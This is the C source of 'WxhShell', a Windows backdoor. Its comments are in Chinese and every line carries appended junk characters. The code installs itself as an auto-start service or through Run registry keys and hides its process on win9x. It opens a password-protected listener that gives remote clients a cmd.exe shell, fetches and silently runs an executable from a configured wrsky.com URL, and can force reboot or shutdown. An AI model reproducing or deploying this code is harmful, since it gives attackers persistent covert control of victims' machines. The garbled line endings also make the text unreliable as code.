    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J`V7FlM  
    else { \$GlB+ iCx  
    closesocket(wsh); N(&,+KJ)  
    ExitThread(0); }!5"EL(L80  
    } o'r?^ *W  
    break; m$0T"`AP`  
    } 'TezUBRAz  
  // 获取shell B!rY\ ?W  
  case 's': { _fa2ntuS=f  
    CmdShell(wsh); IQY\L@"  
    closesocket(wsh); ob-z-iDz  
    ExitThread(0); lYD-U8  
    break; LB U]^t@ M  
  } e3\*Np!rTQ  
  // 退出 g$ 9Yfu  
  case 'x': { JKXs/r;:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k q_B5L?  
    CloseIt(wsh); ,Cde5A{K  
    break; s$|GVv1B  
    } F0]NtKaH  
  // 离开 Y|>y]x  
  case 'q': { :J}L| `U9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D+#QQH  
    closesocket(wsh); #k5Nnv#(J  
    WSACleanup(); w}YO+  
    exit(1); x4R[Q&:M  
    break; ~S#Le  
        } )Q&:$]  
  } 0P&rTtU6  
  } 3zv_q&+8b  
0ir]  
  // 提示信息 ^JJ*pT:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ftu4 V*lD  
} *8t_$<'dQ  
  } S 0,p:Wey  
b&s"x? 7  
  return; Wyw/imr  
} ~Wf&$p<|  
VuPa '2  
// shell模块句柄 34&n { xv  
int CmdShell(SOCKET sock) @=isN'>]O  
{ |^8l8u  
STARTUPINFO si; #4DEb<D  
ZeroMemory(&si,sizeof(si)); }e&   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o-yZ$+V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #-Ehg4W  
PROCESS_INFORMATION ProcessInfo; +t,JCY6  
char cmdline[]="cmd"; %9uLxC;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yM=% a3  
  return 0; ,J!G-?:@n  
} 5@F1E8T  
z~UqA1r  
// 自身启动模式 cxp>4[gH  
int StartFromService(void) <`+U B<K  
{ /*B-y$WQk  
typedef struct 3g0[( ;  
{ `og 3P:y  
  DWORD ExitStatus; Zu,rf9LMj  
  DWORD PebBaseAddress; 1#gveHm]-G  
  DWORD AffinityMask; DUFfk6#X}  
  DWORD BasePriority; {OXKXRCa  
  ULONG UniqueProcessId; M]vc W  
  ULONG InheritedFromUniqueProcessId; ;r B2Q H]  
}   PROCESS_BASIC_INFORMATION; U4w^eWzP  
wG ua"@IE  
PROCNTQSIP NtQueryInformationProcess; 8rx?mX,}  
,-rOfk\u  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m+?$cyA>v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1}%vZE2  
jhr: QS/9  
  HANDLE             hProcess; >\+c@o[  
  PROCESS_BASIC_INFORMATION pbi; &O/;YGEAB  
g+bc4eU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [u`v'*0d  
  if(NULL == hInst ) return 0; \L($;8` \  
?h2!Z{[0b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }4Ef31X8q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "eA4JL\%)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d %1j4JE{  
jgQn^  
  if (!NtQueryInformationProcess) return 0; 8' M4 3n  
]DHB'NOh,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u!S^lV@  
  if(!hProcess) return 0; kc Q~}uFB  
|_x U{Pu  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p%/Z  
LZG?M|(6D  
  CloseHandle(hProcess); _lcx?IV  
^`XQ>-wWue  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V^sZXdDNL  
if(hProcess==NULL) return 0; e`27 ?  
qb'4x){  
HMODULE hMod; h mC. 5mY  
char procName[255]; C2OBgM+  
unsigned long cbNeeded; KzZ|{ !C  
HC_+7O3A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "#Qqwsw7  
Ro\ U T64  
  CloseHandle(hProcess); Lq : !?)I  
O10,h(O  
if(strstr(procName,"services")) return 1; // 以服务启动 #fk#RNt  
j?<>y/IR  
  return 0; // 注册表启动 1U[Q)(P  
} wK>a&`<  
xn|M]E1)  
// 主模块 T?B753I  
int StartWxhshell(LPSTR lpCmdLine) 0' j/ 9vm  
{ m?G@#[ l  
  SOCKET wsl; #29m <f_n  
BOOL val=TRUE; YGFE(t;lPU  
  int port=0; 2NMS '"8  
  struct sockaddr_in door; g-)izPX  
@#m@ .   
  if(wscfg.ws_autoins) Install(); )nE=H,U?y  
\JjZ _R  
port=atoi(lpCmdLine); ;:nx6wi  
O1]L4V1iH  
if(port<=0) port=wscfg.ws_port; 1X. E:  
QfPsF@+-`7  
  WSADATA data; P`^3-X/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z'=:Bo{  
PggjuPPh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [[ {L#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t,H=;U#  
  door.sin_family = AF_INET; jMFLd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G)5R iRcs  
  door.sin_port = htons(port); Y]MB/\gj  
d7(g=JK<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uknX py))  
closesocket(wsl); &gGh%:`B  
return 1; ,cj531.  
} 3'3E:}o|  
55LW[Pc  
  if(listen(wsl,2) == INVALID_SOCKET) { @s7ZfV??  
closesocket(wsl); N(ov.l;  
return 1; [9N>*dKB  
} !C]2:+z-MF  
  Wxhshell(wsl); !g|)?XWc  
  WSACleanup(); :]]#X ~J  
X 0\O3l* j  
return 0; LKC^Y) 6o  
$?`-} wY  
} q%&JAX=  
' tyblj C  
// 以NT服务方式启动 d-k`DJ!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )DG>omCY  
{ naOCa  
DWORD   status = 0; yn`P:[v  
  DWORD   specificError = 0xfffffff; 7# !RX3  
Ov<EOK+^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; '\g-z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >`{B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4 q-/R  
  serviceStatus.dwWin32ExitCode     = 0; Yf&P|Iiw  
  serviceStatus.dwServiceSpecificExitCode = 0; kz30! L  
  serviceStatus.dwCheckPoint       = 0; };/;L[,G  
  serviceStatus.dwWaitHint       = 0; k{Ad(S4J&  
H<N$z 3k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9szUN;:ZZ  
  if (hServiceStatusHandle==0) return; v^A4%e<8^r  
Sao4MkSz[]  
status = GetLastError(); (Mzv"FN]  
  if (status!=NO_ERROR) E!Ljq3iT`  
{ Q3h_4{w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .R";2f3  
    serviceStatus.dwCheckPoint       = 0; U=ek_FO  
    serviceStatus.dwWaitHint       = 0; z.vE RP56  
    serviceStatus.dwWin32ExitCode     = status; Q vc$D{z  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3fBV SFVS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =(aA`:Nl  
    return; qz_'v{uAj  
  } _dQg5CmlG  
uPhL?s{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; sd m4zV]&  
  serviceStatus.dwCheckPoint       = 0; !vfbgK  
  serviceStatus.dwWaitHint       = 0; THN/ /}d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WWBm*?U  
} HP,sNiw  
Q%T[&A}3B  
// 处理NT服务事件,比如:启动、停止 #OMFv.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F9}jiCom  
{ `W=3_  
switch(fdwControl) v w  
{ %noByq,?  
case SERVICE_CONTROL_STOP: 6, ~Y(#  
  serviceStatus.dwWin32ExitCode = 0; MrU0Jrk4+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; VY1&YR}Y  
  serviceStatus.dwCheckPoint   = 0; ,h<xL-  
  serviceStatus.dwWaitHint     = 0; kN~:Bh$  
  { d}:eLC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <6rc 8jYz  
  } [aS<u`/g|  
  return; 4 AWL::FU5  
case SERVICE_CONTROL_PAUSE: =tS#t+2S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  Q4R*yRk  
  break; ye^*Z>|  
case SERVICE_CONTROL_CONTINUE: *"qS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; iZ( U]  
  break;  Gv(?u  
case SERVICE_CONTROL_INTERROGATE: P Y&(ObC  
  break; iVSN>APe  
}; UE\Z] t!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RW4,j&)  
} %a\L^w)Xn  
my]t[%Q{  
// 标准应用程序主函数 WeiDg,]e$b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) , RKl  
{ E;MelK<8(  
})F.Tjf*  
// 获取操作系统版本 fw3P?_4;*  
OsIsNt=GetOsVer(); ]. E/s(p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '#eY4d<i]n  
a\l?7Jr  
  // 从命令行安装 e0z(l/UB  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1=@csO_yn  
$*')Sma  
  // 下载执行文件 I6e[K(7NY  
if(wscfg.ws_downexe) { b2r]>*Vc  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zB68%  
  WinExec(wscfg.ws_filenam,SW_HIDE); )q|a Sd  
} 'c/S$_r  
k}&7!G@T  
if(!OsIsNt) { 4 \Ig<C9  
// 如果时win9x,隐藏进程并且设置为注册表启动 q]2t3aY%  
HideProc(); S HxD(6  
StartWxhshell(lpCmdLine); 1DR ih>+#  
} kMx^L;:n  
else @>Bgld&vl  
  if(StartFromService())  eQU~A9  
  // 以服务方式启动 [,0[\NC  
  StartServiceCtrlDispatcher(DispatchTable); Kl/n>qEt  
else UbDpSfub  
  // 普通方式启动   -]. a0  
  StartWxhshell(lpCmdLine); MHqk-4Mz  
g-LMct8$  
return 0; q|zips,  
} UFzC8  
`UD,ne  
=@ d/SZ|(E  
or qL0i  
=========================================== OpD%lRl  
p#aB0H3  
zL!}YR@&u"  
S&J>15oWM`  
evvv&$&  
s+<`iH9Hm  
" xOt {Vsv  
%'w?fqk  
#include <stdio.h> 3C gmZ7[  
#include <string.h> ty\F~]Oo  
#include <windows.h> .%G>z"Xx  
#include <winsock2.h> SpC6dkxD\  
#include <winsvc.h> ua!43Bp  
#include <urlmon.h> $W;f9k@C!  
jB"IJ$cD  
#pragma comment (lib, "Ws2_32.lib") JKTn  
#pragma comment (lib, "urlmon.lib") w| eVl{~p  
( yK@(euG  
#define MAX_USER   100 // 最大客户端连接数 t2LX@Q"  
#define BUF_SOCK   200 // sock buffer I~F]e|Ehqr  
#define KEY_BUFF   255 // 输入 buffer Ay@/{RZz  
g#%Egb1  
#define REBOOT     0   // 重启 T f40lv+{  
#define SHUTDOWN   1   // 关机 6an= C_Mb`  
"t)$4gERK  
#define DEF_PORT   5000 // 监听端口 (91 YHhk{  
"lRxatM  
#define REG_LEN     16   // 注册表键长度 z7_h$v  
#define SVC_LEN     80   // NT服务名长度 \C<'2KZR,  
{|B 2$1':  
// 从dll定义API S| |OSxZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $d*PY_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HChlkj'7w0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xnOd$]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); aQ*?L l  
?0tm{qP  
// wxhshell配置信息 *cP(3n3]R  
struct WSCFG { Aa+<4 R  
  int ws_port;         // 监听端口 kx,3[qe'S  
  char ws_passstr[REG_LEN]; // 口令 %v4*$E!f  
  int ws_autoins;       // 安装标记, 1=yes 0=no DX_?-jw})f  
  char ws_regname[REG_LEN]; // 注册表键名 VA5f+c/ %  
  char ws_svcname[REG_LEN]; // 服务名 v^dQ%+}7>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &3$FkU^F6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 j6WDh}#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \Mzr[dI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @|:yK|6O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" muMd9\p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qVssw* GDB  
c'D NO~H  
}; Vg(FF "  
9qk J<  
// default Wxhshell configuration g(C/J9J  
struct WSCFG wscfg={DEF_PORT, "*LQr~k~}  
    "xuhuanlingzhe", y!c<P,Lt3f  
    1, '#a;n  
    "Wxhshell", &$heW,  
    "Wxhshell", [jR >.H'  
            "WxhShell Service", to;^'#B  
    "Wrsky Windows CmdShell Service", <+UJgB A-  
    "Please Input Your Password: ", z.Vf,<H  
  1, .@0@Y  
  "http://www.wrsky.com/wxhshell.exe", 9-Z ?  
  "Wxhshell.exe" 7Ue&y8Yf  
    }; w7c0jIf{  
XS$#\UQ  
// 消息定义模块 :_|Xr'n`A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ojyP.R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d&lT/S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S$=caZ?  
char *msg_ws_ext="\n\rExit."; J1w,;T\55  
char *msg_ws_end="\n\rQuit."; seVT| z  
char *msg_ws_boot="\n\rReboot..."; }.1}yz^y  
char *msg_ws_poff="\n\rShutdown..."; Ept=&mJPu  
char *msg_ws_down="\n\rSave to "; RI<&cgWn+<  
:F_>`{  
char *msg_ws_err="\n\rErr!"; ^Y%<$IFG  
char *msg_ws_ok="\n\rOK!"; 6_&S ?yA  
"E@A~<RKP  
char ExeFile[MAX_PATH];  z31g"  
int nUser = 0; nRyx2\Py+  
HANDLE handles[MAX_USER]; 6rM{r>  
int OsIsNt; vVZ+u4y  
\opcn\vW  
SERVICE_STATUS       serviceStatus; .X5A7 m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Qxfds`4V9i  
55ft ,a  
// 函数声明 A2!pbeG  
int Install(void); M8IU[Pz4  
int Uninstall(void); 8JXS:J.|v  
int DownloadFile(char *sURL, SOCKET wsh); "xNP"S  
int Boot(int flag); i91k0q*di  
void HideProc(void); TR%8O;  
int GetOsVer(void); 7m%[$X`  
int Wxhshell(SOCKET wsl); wq|7sk{  
void TalkWithClient(void *cs); &dPI<HlM  
int CmdShell(SOCKET sock); N85ZbmU~  
int StartFromService(void); p +nh]  
int StartWxhshell(LPSTR lpCmdLine);  U02  
FOhq&\nkU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qDcoccEf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $b[Ha{9(v  
R8 LHwRQ  
// 数据结构和表定义 x`Wb9[u8  
SERVICE_TABLE_ENTRY DispatchTable[] = &Ez+4.srkh  
{ Q!r&vQ/g  
{wscfg.ws_svcname, NTServiceMain}, ^Rtxef  
{NULL, NULL} IBUFXzl  
}; h;@>E:4Tg  
@yj~5Gf(j  
// 自我安装 SW5n?Qj3-  
int Install(void) \;iOQqv0&  
{ p(cnSvg  
  char svExeFile[MAX_PATH]; E.*gKfL  
  HKEY key; ^%m{yf#  
  strcpy(svExeFile,ExeFile); w}s5=>QG%  
x|gYxZ  
// 如果是win9x系统,修改注册表设为自启动 %{Obh j;c  
if(!OsIsNt) { ]E)D})r`#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HA0F'k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lbGPy'h<rt  
  RegCloseKey(key); '-mzt~zGOY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?mF:L"i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S..8,5mBH  
  RegCloseKey(key);  :YPi>L5  
  return 0; }=JS d@`_  
    } xLms|jS  
  } Xpv<v[a  
} -zWNQp$  
else { $$SJLV  
f@q.kD21  
// 如果是NT以上系统,安装为系统服务 v2a(yH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'blMwD{0&\  
if (schSCManager!=0) ;mg.} fI  
{  FLZ9Rg  
  SC_HANDLE schService = CreateService s:cJF  
  ( ?2R!n" m-d  
  schSCManager, 76] Z~^Y  
  wscfg.ws_svcname, ^=a:{["@!  
  wscfg.ws_svcdisp, Qn~{TZz  
  SERVICE_ALL_ACCESS, \y6Y}Cv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ko|M2\  
  SERVICE_AUTO_START, _v(5vx_ {  
  SERVICE_ERROR_NORMAL, #s ' `bF^  
  svExeFile, cm!|A?-<  
  NULL, .l|29{J  
  NULL, stMxlG"d  
  NULL, tc{l?7P  
  NULL, NJmx(!Xsh  
  NULL vE1:;%Q  
  ); 45x4JG  
  if (schService!=0) ROvY,-?  
  { L,!\PV|  
  CloseServiceHandle(schService); >FS%-eI6  
  CloseServiceHandle(schSCManager); Ups0Xg&{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /sn }Q-Zy2  
  strcat(svExeFile,wscfg.ws_svcname); mY[*Cj3WJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { atW^^4 :  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xAO\'#m  
  RegCloseKey(key); df {\O* 6  
  return 0; Ujqnl>l  
    } /Dyig  
  } \Ui8gDJ8y5  
  CloseServiceHandle(schSCManager); y~Yv^'Epf  
} ,7 m33Pv*  
} _\8E/4zh  
X"mPRnE330  
return 1; W7(5z  
} ,L<x=Dg  
G(wstHT;/  
// 自我卸载 %Pl |3i  
int Uninstall(void) AZ4:3}  
{ ^uphpABpD  
  HKEY key; Z15 =vsV  
5q'b M  
if(!OsIsNt) { 0M)\([W9&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oB>#P-V  
  RegDeleteValue(key,wscfg.ws_regname); dcTZL$  
  RegCloseKey(key); ic3Szd^4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2}bXX'Y  
  RegDeleteValue(key,wscfg.ws_regname); w`r %_o-I  
  RegCloseKey(key); g/WDAO?d  
  return 0; ZoYllk   
  } u~ VXe  
} MmU`i ,z  
} WnU2.:  
else { qrjSG%i~J7  
eD3\>Y.z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C3N1t  
if (schSCManager!=0) YMy**  
{ W#kyD)(F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `c|H^*RC  
  if (schService!=0) Z0O0Q=e\Y  
  { VC_F Cz  
  if(DeleteService(schService)!=0) { =v!Z8zk=W  
  CloseServiceHandle(schService); W voIh4]  
  CloseServiceHandle(schSCManager); 9$qw&j[  
  return 0; -e?n4YO*\  
  } VKw.g@BY  
  CloseServiceHandle(schService); XR p60i6f  
  } lqgR4  !  
  CloseServiceHandle(schSCManager); 2^75|Q  
} {?++T 0  
} KY0<N 9{  
&U CtyCz  
return 1; n5efHJU  
} L?P[{Ohh/  
H3pZfdh?w  
// 从指定url下载文件 g;OR{  
int DownloadFile(char *sURL, SOCKET wsh) 44t;#6p@%>  
{ \VI0/G)L  
  HRESULT hr; |}:q@]dC#  
char seps[]= "/"; !6sR|c"~j  
char *token; '/rU<.1  
char *file; =3rf}bl2  
char myURL[MAX_PATH]; qF-Fc q  
char myFILE[MAX_PATH]; *-.`Q  
]/3!t=La  
strcpy(myURL,sURL); s jaaZx1  
  token=strtok(myURL,seps); <lU(9) L;&  
  while(token!=NULL) t$p%UyVE  
  { 8Fbt >-N<\  
    file=token; ftRdK>a D  
  token=strtok(NULL,seps); =Lb(N61  
  } Fi7~JZZ  
R<hsG%BS(D  
GetCurrentDirectory(MAX_PATH,myFILE); X+ybgB4(  
strcat(myFILE, "\\"); cG3tn&AXi  
strcat(myFILE, file); 09 f;z  
  send(wsh,myFILE,strlen(myFILE),0); MSp) Jc  
send(wsh,"...",3,0); F x$W3FIO]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %s5( ''a.  
  if(hr==S_OK) blP8"(U  
return 0; NXz/1ut%  
else  BPKrRex  
return 1; >{A)d<  
nE0I[T(  
} :uqEGnEut  
%U .x9UL  
// 系统电源模块 Jy[rA<x$  
int Boot(int flag) M?<iQxtyb}  
{ .:B0(4Mj  
  HANDLE hToken; a3z_o)"   
  TOKEN_PRIVILEGES tkp; J-G)mvkv  
cg_tJ^vrY  
  if(OsIsNt) { ^vzXT>t-M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [Z;H= `  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;<6S\  
    tkp.PrivilegeCount = 1; >}C:EnECy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1N { >00  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h+cOOm-)  
if(flag==REBOOT) { VP?Q$?a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a^X% (@Sg  
  return 0; Nv=%R  
} y 1Wb/ d  
else { \q^ dhY>)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '!4\H"t  
  return 0; (Hmhb}H  
} y]!mN  
  } 4{ZVw/VP,-  
  else { yFDt%&*n^  
if(flag==REBOOT) { naeppBo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X 3XTB*  
  return 0; yM(ezb  
} *13-)yfd  
else { M0)ZJti  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Fa </  
  return 0; OU^I/TU  
} O`PQ4Q*F  
} #"H<k(-Cz  
%RzkP}1>E  
return 1; Lm0q/d2|\X  
} us<dw@P7{  
Y9%zo~]-W'  
// win9x进程隐藏模块 c"Q9ob  
void HideProc(void) V4W(> g  
{ WS1Y maV  
D*_. 4I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uMZ<i}  
  if ( hKernel != NULL ) qA25P<  
  { - s{&_]A~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |y?W#xb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1p SEr6  
    FreeLibrary(hKernel); l~@ -oE  
  } A9Pq}3U  
K!-iDaVI  
return; z_y@4B6>}  
} & ##JZ  
Z%SDN"+'g  
// 获取操作系统版本 %T;VS-f  
int GetOsVer(void) Q%V530 P;  
{ m8gU8a"(  
  OSVERSIONINFO winfo; O"RIY3m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]*{tno  
  GetVersionEx(&winfo); 'X_%m~}N  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \@^` G  
  return 1; ^~bAixH^k  
  else <){J|O  
  return 0; 92*"3)  
} `{}DLaD9  
"M %WV>  
// 客户端句柄模块 ! ;Ctz'wz  
int Wxhshell(SOCKET wsl) E-?JHJloU  
{ >bO}sx1?  
  SOCKET wsh; K2tOt7M!  
  struct sockaddr_in client; lXnv(3j3*s  
  DWORD myID; V r T0S  
Eqx|k-<a  
  while(nUser<MAX_USER) WxtB:7J  
{ K#y CZ2  
  int nSize=sizeof(client); zWF[cf>'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XNl!?*l5?l  
  if(wsh==INVALID_SOCKET) return 1; nfE4rIE4  
>[P`$XkXd4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gzyi'K<  
if(handles[nUser]==0) \YsLVOv%:d  
  closesocket(wsh); v.Q+4 k  
else 3nUC,T%  
  nUser++; 'W~6-c9y  
  } <2^ F'bQV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x!?$y_t  
0j' Xi_uM  
  return 0; Y1{*AV6ev6  
} eTY(~J#'  
] ; B`'Ia  
// 关闭 socket M-C>I;a  
void CloseIt(SOCKET wsh) #ePtfRzJ  
{ A_5M\iN\  
closesocket(wsh); ]Lm?3$u$  
nUser--; ( D@ U%  
ExitThread(0); Qf}}/k|)k  
} TM,Fab &  
g6.Tx]?b$  
// 客户端请求句柄 (.g?|c  
void TalkWithClient(void *cs) OX{2@+f#  
{ ^4a|gc  
h)X"<a++N  
  SOCKET wsh=(SOCKET)cs; X`k#/~+0  
  char pwd[SVC_LEN]; OkQtM nq  
  char cmd[KEY_BUFF]; oUN;u*  
char chr[1]; 1@^*tffL:  
int i,j; kAAD&t;w  
kY~o3p<  
  while (nUser < MAX_USER) { 6CNxb  
Mqmy*m[U  
if(wscfg.ws_passstr) { V_=7q=9mV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p8E6_%Rw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '77Gg  
  //ZeroMemory(pwd,KEY_BUFF); 7qhX `$  
      i=0; H\=S_b1wo  
  while(i<SVC_LEN) { zj#8@gbh+  
c7 O$< F  
  // 设置超时 U#(#U0s*-  
  fd_set FdRead; %I%OHs  
  struct timeval TimeOut; \7 *"M y*  
  FD_ZERO(&FdRead); ;:w0%>X^  
  FD_SET(wsh,&FdRead); *<ww~^a  
  TimeOut.tv_sec=8; 4@Xd(F_d  
  TimeOut.tv_usec=0; j\uPOn8k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F{ sPQf'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dpB\=  
c(lG_"q6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PO]c&}/  
  pwd=chr[0]; o/I`L  
  if(chr[0]==0xd || chr[0]==0xa) { [R{%r^"2p  
  pwd=0; Z!oq2,ia  
  break; w\5;;9_#  
  } 9S<at MB  
  i++; !<4=@  
    } kaNK@a=e|/  
rSNaflYAr  
  // 如果是非法用户,关闭 socket RhSoD.Da  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s.>;(RiJd  
} =_vW7-H  
M}N[> ,2'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3;wOA4ur  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bA(-7l?  
@[hD;xO  
while(1) { Q>l5:2lq  
G"F:68  
  ZeroMemory(cmd,KEY_BUFF); N/r8joi#  
aQL$?,  
      // 自动支持客户端 telnet标准   ^7V{nT@H3  
  j=0; M1e79p<  
  while(j<KEY_BUFF) { ew|e66Tw$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -zH` 9>J5|  
  cmd[j]=chr[0]; Ydh+iLjhx  
  if(chr[0]==0xa || chr[0]==0xd) { ~)]R  
  cmd[j]=0; 7H_*1_%ZQ  
  break; xt X`3=s  
  } yMKVF`D*  
  j++; t@3y9U$  
    } OEXa^M4x   
>vfbXnN  
  // 下载文件 rHD_sC*  
  if(strstr(cmd,"http://")) { fwz-)?   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !)LVZfQ0  
  if(DownloadFile(cmd,wsh)) ZRj&k9D^U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pfl8x  
  else DY8w\1g"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,O 1/|Y  
  } *QP+p,L*  
  else { Ks\\2$Cm7  
uu;1B.[b  
